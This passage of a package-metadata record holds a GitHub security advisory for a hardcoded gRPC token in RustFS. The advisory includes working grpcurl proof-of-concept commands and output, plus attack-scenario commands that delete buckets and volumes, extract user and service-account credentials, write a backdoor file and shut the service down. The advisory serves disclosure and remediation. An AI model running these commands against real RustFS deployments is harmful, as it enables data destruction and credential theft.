unauthorized requests are rejected.\n\n---\n\n### Step 2: Extract Hardcoded Token from Source Code\n\n**Public Source Code Analysis**:\n\n```bash\n$ git clone https://github.com/rustfs/rustfs.git\n$ cd rustfs\n$ grep -rn '\"rustfs rpc\"' --include='*.rs'\n```\n\n**Result**: ✅ Token found in public source code\n\n```\nrustfs/src/server/http.rs:680:    let token: MetadataValue\u003c_\u003e = \"rustfs rpc\".parse().unwrap();\ncrates/protos/src/lib.rs:153:    let token: MetadataValue\u003c_\u003e = \"rustfs rpc\".parse()?;\n```\n\n**Extracted Token**: `rustfs rpc`\n\n---\n\n### Step 3: Exploit - Authenticate Using Hardcoded Token\n\n**Test 3.1: Successful authentication with hardcoded token**\n\n```bash\n$ grpcurl -plaintext \\\n    -H 'authorization: rustfs rpc' \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d '{}' \\\n    localhost:9000 node_service.NodeService/Ping\n```\n\n**Result**: 🔓 **AUTHENTICATION BYPASSED**\n\n```json\n{\n  \"version\": \"1\",\n  \"body\": \"DAAAAAAABgAIAAQABgAAAAQAAAANAAAAaGVsbG8sIGNhbGxlcgAAAA==\"\n}\n```\n\n**Analysis**: Server accepted the hardcoded token and returned a successful response. Authentication completely bypassed.\n\n---\n\n### Step 4: Demonstrate Access to Sensitive Management APIs\n\n**Test 4.1: Server Configuration Disclosure**\n\n```bash\n$ grpcurl -plaintext \\\n    -H 'authorization: rustfs rpc' \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d '{}' \\\n    localhost:9000 node_service.NodeService/ServerInfo\n```\n\n**Result**: ✅ **Complete server configuration disclosed**\n\n```json\n{\n  \"success\": true,\n  \"serverProperties\": \"n6ZvbmxpbmWsMC4wLjAuMDo5MDAwoM0DhdkjMjAyNS0xMi0xOVQwNjo1NzoxOVpAMS4wLjAtYWxwaGEuNzaggawwLjAuMC4wOjkwMDCmb25saW5llNwAGq0vZGF0YS9ydXN0ZnMwwq0vZGF0YS9ydXN0ZnMwwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAANwAGq0vZGF0YS9ydXN0ZnMxwq0vZGF0YS9ydXN0ZnMxwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAdwAGq0vZGF0YS9ydXN0ZnMywq0vZGF0YS9ydXN0ZnMywsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAtwAGq0vZGF0YS9ydXN0ZnMzwq0vZGF0YS9ydXN0ZnMzwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAwGRAZUAAAAAAAAAoIA=\"\n}\n```\n\n**Analysis**:\n- Server returned complete configuration including storage paths, endpoint addresses, version info\n- Binary data contains sensitive internal state (MessagePack encoded)\n- Information disclosure confirmed\n\n**Test 4.2: Disk Information Access**\n\n```bash\n$ grpcurl -plaintext \\\n    -H 'authorization: rustfs rpc' \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d '{}' \\\n    localhost:9000 node_service.NodeService/DiskInfo\n```\n\n**Result**: ✅ **Authenticated request accepted** (business logic error returned, not auth error)\n\n```json\n{\n  \"error\": {\n    \"code\": 36,\n    \"errorInfo\": \"io error can not find disk\"\n  }\n}\n```\n\n**Analysis**:\n- Request passed authentication (error is business logic, not authentication)\n- Proves attacker has authenticated access to sensitive system information APIs\n\n---\n\n## Impact Analysis\n\n### Affected APIs\n\nAll 50+ gRPC methods in `node_service.NodeService` are vulnerable:\n\n#### 🔴 **CRITICAL Impact - Data Destruction**\n- `DeleteBucket` - Delete production buckets\n- `DeleteVolume` - Destroy entire storage volumes\n- `DeleteUser` - Remove legitimate users\n- `DeletePolicy` - Remove access control policies\n- `DeleteServiceAccount` - Remove service accounts\n\n#### 🔴 **CRITICAL Impact - Configuration Manipulation**\n- `ReloadSiteReplicationConfig` - Corrupt cluster replication\n- `SignalService` - Control service lifecycle\n- `LoadPolicy` - Modify access control policies\n- `LoadPolicyMapping` - Alter policy assignments\n\n#### 🟠 **HIGH Impact - Unauthorized Data Access/Modification**\n- `ReadAll` / `ReadAt` - Read arbitrary data\n- `WriteAll` / `WriteStream` - Inject malicious data\n- `RenameFile` / `RenameData` - Manipulate file system\n- `UpdateMetadata` / `WriteMetadata` - Corrupt metadata\n\n#### 🟠 **HIGH Impact - Privilege Escalation**\n- `LoadUser` - Access user credentials\n- `LoadServiceAccount` - Access service credentials\n- `LoadGroup` - Access group memberships\n\n#### 🟡 **MEDIUM Impact - Information Disclosure**\n- `ServerInfo` - Server configuration disclosure\n- `DiskInfo` - Storage configuration disclosure\n- `GetMetrics` - Performance metrics disclosure\n- `GetBucketStats` - Bucket statistics disclosure\n- `LocalStorageInfo` - Storage system information\n- `ListBucket` - Bucket enumeration\n\n#### 🟡 **MEDIUM Impact - Cluster Operations**\n- `MakeBucket` - Unauthorized bucket creation\n- `HealBucket` - Trigger repair operations\n- `BackgroundHealStatus` - Monitor internal operations\n\n### Attack Scenarios\n\n#### Scenario 1: Data Destruction\n\n```bash\n# Enumerate all buckets\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"options\": \"{}\"}' \\\n  localhost:9000 node_service.NodeService/ListBucket\n\n# Delete critical production bucket\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"bucket\": \"production-data\"}' \\\n  localhost:9000 node_service.NodeService/DeleteBucket\n\n# Delete entire storage volume\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"volume\": \"vol1\"}' \\\n  localhost:9000 node_service.NodeService/DeleteVolume\n```\n\n**Impact**: Complete data loss, business disruption\n\n#### Scenario 2: Credential Harvesting\n\n```bash\n# Extract user credentials\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"access_key\": \"admin\"}' \\\n  localhost:9000 node_service.NodeService/LoadUser\n\n# Extract service account credentials\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"access_key\": \"service-account\"}' \\\n  localhost:9000 node_service.NodeService/LoadServiceAccount\n\n# Exfiltrate IAM policies\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"name\": \"admin-policy\"}' \\\n  localhost:9000 node_service.NodeService/LoadPolicy\n```\n\n**Impact**: Complete IAM compromise, lateral movement\n\n#### Scenario 3: Backdoor Installation\n\n```bash\n# Inject malicious data into system paths\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"volume\": \"config\", \"path\": \"backdoor.sh\", \"buf\": \"...\"}' \\\n  localhost:9000 node_service.NodeService/WriteAll\n\n# Modify system configuration\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"bucket\": \"system\", \"path\": \".rustfs.sys/config.json\", \"fi\": \"...\"}' \\\n  localhost:9000 node_service.NodeService/WriteMetadata\n```\n\n**Impact**: Persistent compromise, further exploitation\n\n#### Scenario 4: Cluster Disruption\n\n```bash\n# Corrupt replication configuration\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{}' \\\n  localhost:9000 node_service.NodeService/ReloadSiteReplicationConfig\n\n# Force service restart/shutdown\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"sig\": 2}' \\\n  localhost:9000 node_service.NodeService/SignalService\n```\n\n**Impact**: Distributed system failure, data inconsistency\n\n---\n\n## Exploitation Preconditions\n\n### Required Conditions\n\n✅ **All conditions typically met in production deployments**:\n\n1. **Network Access**: Attacker can reach gRPC port (9000/TCP)\n   - RustFS binds to `0.0.0.0` by default (all interfaces)\n   - Commonly exposed for distributed node communication\n\n2. **Token Knowledge**: Token is publicly known\n   - Available in public GitHub repository\n   - Identical across all RustFS installations\n   - Cannot be changed without code modification\n\n3. **No Additional Security Controls**:\n   - No mTLS/certificate-based authentication\n   - No IP whitelisting (typically)\n   - No VPN/network segmentation requirements\n   - No rate limiting on authentication attempts\n\n### Attack Complexity\n\n**Complexity**: 🟢 **TRIVIAL**\n\n- Single `grpcurl` command with hardcoded token\n- No exploit development required\n- No timing or race conditions\n- No target-specific reconnaissance needed\n- Fully automatable\n- Works against any RustFS instance\n\n**Time to Exploit**: \u003c 1 minute\n\n---\n\n## Security Impact\n\n### Confidentiality Impact: HIGH\n\n- **Complete Data Disclosure**: All stored objects readable via `ReadAll`/`ReadAt`\n- **Credential Exposure**: IAM users, service accounts, policies accessible\n- **Configuration Disclosure**: Server, storage, cluster configuration leaked\n- **Metrics Exposure**: Performance and usage metrics accessible\n\n### Integrity Impact: HIGH\n\n- **Data Modification**: Arbitrary data injection via `WriteAll`/`WriteStream`\n- **Metadata Corruption**: File metadata tampering via `WriteMetadata`\n- **Policy Manipulation**: IAM policies modifiable via `LoadPolicy`\n- **Configuration Changes**: Cluster replication config alterable\n\n### Availability Impact: HIGH\n\n- **Data Destruction**: Buckets/volumes deletable via `DeleteBucket`/`DeleteVolume`\n- **Service Disruption**: Service controllable via `SignalService`\n- **Cluster Degradation**: Replication corruption via `ReloadSiteReplicationConfig`\n- **Resource Exhaustion**: Arbitrary data writes, bucket creation\n\n---\n\n## Compliance \u0026 Regulatory Impact\n\n### Standards Violated\n\n#### PCI-DSS v4.0\n- **Requirement 6.5.3**: Broken authentication\n- **Requirement 8.2**: Strong authentication required\n- **Requirement 8.6**: Multi-factor authentication required\n\n#### OWASP Top 10 2021\n- **A07:2021 - Identification and Authentication Failures**\n  - Use of hard-coded credentials\n  - Missing or ineffective authentication\n\n#### CWE (Common Weakness Enumeration)\n- **CWE-798**: Use of Hard-coded Credentials (Rank: 37/400)\n- **CWE-1391**: Use of Weak Credentials\n- **CWE-287**: Improper Authentication\n\n#### NIST Cybersecurity Framework\n- **PR.AC-1**: Access control mechanisms violated\n- **PR.AC-7**: Authentication mechanisms insufficient\n\n#### SOC 2 Type II\n- **CC6.1**: Logical access controls inadequate\n- **CC6.6**: Credential management controls missing\n\n### Legal \u0026 Business Impact\n\n- **Data Breach Notification**: GDPR Art. 33, CCPA §1798.150\n- **Regulatory Fines**: GDPR up to €20M or 4% annual revenue\n- **Customer Trust**: Severe reputational damage\n- **Service Disruption**: SLA violations, customer compensation\n- **Incident Response Costs**: Forensics, remediation, legal fees\n\n---\n\n## Proof of Concept\n\n### Automated POC Script\n\n**File**: `audit_analysis/poc_cve_2025_008_grpc_token_working.sh`\n\n**Usage**:\n```bash\nchmod +x poc_cve_2025_008_grpc_token_working.sh\n./poc_cve_2025_008_grpc_token_working.sh [target_host:port]\n```\n\n**Default Target**: `localhost:9000`\n\n### POC Features\n\n1. ✅ **Baseline Authentication Testing**\n   - Verifies unauthenticated requests are rejected\n   - Verifies incorrect tokens are rejected\n\n2. ✅ **Exploit Demonstration**\n   - Authenticates using hardcoded token\n   - Calls `Ping` service successfully\n\n3. ✅ **Sensitive API Access**\n   - Accesses `ServerInfo` (configuration disclosure)\n   - Accesses `DiskInfo` (system information)\n   - Demonstrates authenticated access to management APIs\n\n4. ✅ **Detailed Reporting**\n   - Displays vulnerable code locations\n   - Lists all affected APIs (50+ methods)\n   - Provides CVSS scoring and impact analysis\n   - Includes remediation recommendations\n\n### POC Output Summary\n\n```\n[PHASE 1] Baseline Testing\n  ✓ Without token: REJECTED (Unauthenticated)\n  ✓ With wrong token: REJECTED (Unauthenticated)\n\n[PHASE 2] Exploit\n  ✓ With hardcoded token \"rustfs rpc\": ACCEPTED ✅\n\n[PHASE 3] Sensitive API Access\n  ✓ ServerInfo: SUCCESS - Configuration disclosed\n  ✓ DiskInfo: SUCCESS - System information accessible\n\n[RESULT] VULNERABILITY CONFIRMED\n```\n\n## Acknowledgements\n\nWe would like to thank **bilisheep** from the **Xmirror Security Team** for discovering and responsibly reporting this vulnerability.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-12-30T23:06:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-h956-rh7x-ppgj","https://nvd.nist.gov/vuln/detail/CVE-2025-68926","https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.78","https://github.com/advisories/GHSA-h956-rh7x-ppgj"],"source_kind":"github","identifiers":["GHSA-h956-rh7x-ppgj","CVE-2025-68926"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-31T00:00:09.273Z","updated_at":"2026-10-05T15:05:51.585Z","epss_percentage":0.3185,"epss_percentile":0.98243,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOTU2LXJoN3gtcHBnas4ABQaS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oOTU2LXJoN3gtcHBnas4ABQaS","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":"1.0.0-alpha.78","vulnerable_version_range":"\u003e= 1.0.0-alpha.13, \u003c= 1.0.0-alpha.77"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOTU2LXJoN3gtcHBnas4ABQaS/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/cargo/rustfs","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/cargo/rustfs","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/cargo/rustfs/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-13T03:14:36.397Z","issues_count":1881,"pull_requests_count":6063,"avg_time_to_close_issue":1011545.3014301431,"avg_time_to_close_pull_request":35014.543886097155,"issues_closed_count":1818,"pull_requests_closed_count":5970,"pull_request_authors_count":219,"issue_authors_count":963,"avg_comments_per_issue":4.589048378522063,"avg_comments_per_pull_request":1.302655451096817,"merged_pull_requests_count":5655,"bot_issues_count":86,"bot_pull_requests_count":74,"past_year_issues_count":1603,"past_year_pull_requests_count":5600,"past_year_avg_time_to_close_issue":981945.874918989,"past_year_avg_time_to_close_pull_request":33903.804601833544,"past_year_issues_closed_count":1543,"past_year_pull_requests_closed_count":5563,"past_year_pull_request_authors_count":195,"past_year_issue_authors_count":822,"past_year_avg_comments_per_issue":4.346849656893325,"past_year_avg_comments_per_pull_request":1.3625,"past_year_bot_issues_count":86,"past_year_bot_pull_requests_count":59,"past_year_merged_pull_requests_count":5305,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/issues","maintainers":[{"login":"overtrue","count":2528,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/overtrue"},{"login":"houseme","count":1457,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/houseme"},{"login":"cxymds","count":480,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/cxymds"},{"login":"reatang","count":171,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/reatang"},{"login":"GatewayJ","count":166,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/GatewayJ"},{"login":"majinghe","count":150,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/majinghe"}],"active_maintainers":[{"login":"overtrue","count":2405,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/overtrue"},{"login":"houseme","count":1408,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/houseme"},{"login":"cxymds","count":476,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/cxymds"},{"login":"reatang","count":171,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/reatang"},{"login":"GatewayJ","count":164,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/GatewayJ"},{"login":"majinghe","count":143,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/majinghe"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/rustfs/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/rustfs/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/rustfs/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/rustfs/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/rustfs/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/rustfs/codemeta","maintainers":[{"uuid":"5903","login":"houseme","name":"Hauser","email":null,"url":"https://github.com/houseme","packages_count":99,"html_url":"https://crates.io/users/houseme","role":null,"created_at":"2025-07-02T15:45:39.913Z","updated_at":"2025-07-02T15:45:39.913Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/maintainers/houseme/packages"}]}